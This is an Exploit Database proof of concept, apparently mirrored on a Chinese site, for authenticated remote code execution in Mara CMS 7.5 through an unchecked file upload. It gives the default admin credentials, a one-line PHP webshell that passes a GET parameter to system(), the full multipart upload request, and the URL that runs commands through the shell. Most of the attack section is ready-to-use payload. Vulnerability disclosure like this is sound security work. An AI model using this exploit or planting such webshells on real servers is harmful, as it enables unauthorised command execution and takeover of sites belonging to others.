Mara CMS 7.5 – Remote Code Execution (Authenticated)

• Exploit Database
• 37 阅读

• 作者： 0blio_
  日期： 2020-09-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48780/

• # Exploit Title: Mara CMS 7.5 - Remote Code Execution (Authenticated)
  # Google Dork: N/A
  # Date: 2020-08-31
  # Exploit Author: Michele Cisternino (0blio_)
  # Vendor Homepage: https://sourceforge.net/projects/maracms/
  # Software Link: https://sourceforge.net/projects/maracms/files/MaraCMS75.zip/download
  # Version: 7.5
  # Tested on: Kali Linux(x64)
  # CVE: N/A
  
  
  # Description
  
  
  MaraCMS 7.5 is vulnerable to Authenticated Remote Code Execution.
  In order to exploit the vulnerability, an attacker must have a valid authenticated session on the CMS as 'admin' or 'manager'.
  The file uploader fails to check extensions of files uploaded by the user, so it is possible to upload a webshell and get RCE.
  
  
  # PoC
  
  
  1. Login on MaraCMS. Default credentials are:
  Username: admin
  Password: changeme
  
  
  2. Navigate the file upload functionality (http://target/codebase/dir.php?type=filenew) and upload a file called 'webshell.php' with content '<?php system($_GET["cmd"]); ?>'.
  A request similar to the following will be made:
  
  
  POST /codebase/handler.php HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
  Accept-Encoding: gzip, deflate
  Content-Type: multipart/form-data; boundary=---------------------------1202504167994776142974823268
  Content-Length: 1282
  Origin: http://localhost
  Connection: close
  Referer: http://localhost/codebase/dir.php?type=filenew
  Cookie: your_sitename_session_session=krevi5f3gr416p3o7cqdk4j1vv
  Upgrade-Insecure-Requests: 1
  
  
  -----------------------------1202504167994776142974823268
  Content-Disposition: form-data; name="authenticated"
  
  
  MQ==
  -----------------------------1202504167994776142974823268
  Content-Disposition: form-data; name="action"
  
  
  dXBsb2Fk
  -----------------------------1202504167994776142974823268
  Content-Disposition: form-data; name="MAX_FILE_SIZE"
  
  
  10485760
  -----------------------------1202504167994776142974823268
  Content-Disposition: form-data; name="type"
  
  
  filenew
  -----------------------------1202504167994776142974823268
  Content-Disposition: form-data; name="files[]"; filename="webshell.php"
  Content-Type: application/x-php
  
  
  <?php system($_GET["cmd"]); ?>
  
  
  -----------------------------1202504167994776142974823268
  Content-Disposition: form-data; name="usr"
  
  
  YWRtaW4=
  -----------------------------1202504167994776142974823268
  Content-Disposition: form-data; name="pwd"
  
  
  MWUyNzUwMTA3OTgyNzQ2NTQ5ZDZlYWY0MWNmMzcwZTBlZTc3NWNiNWZiNTExMWNhOGI5ZWNjNWI0M2JkOGE2NA==
  -----------------------------1202504167994776142974823268
  Content-Disposition: form-data; name="authenticated"
  
  
  MQ==
  -----------------------------1202504167994776142974823268
  Content-Disposition: form-data; name="destdir"
  
  
  
  
  -----------------------------1202504167994776142974823268--
  
  
  3. Execute remote commands by navigating:
  
   http://target/webshell.php?cmd=whoami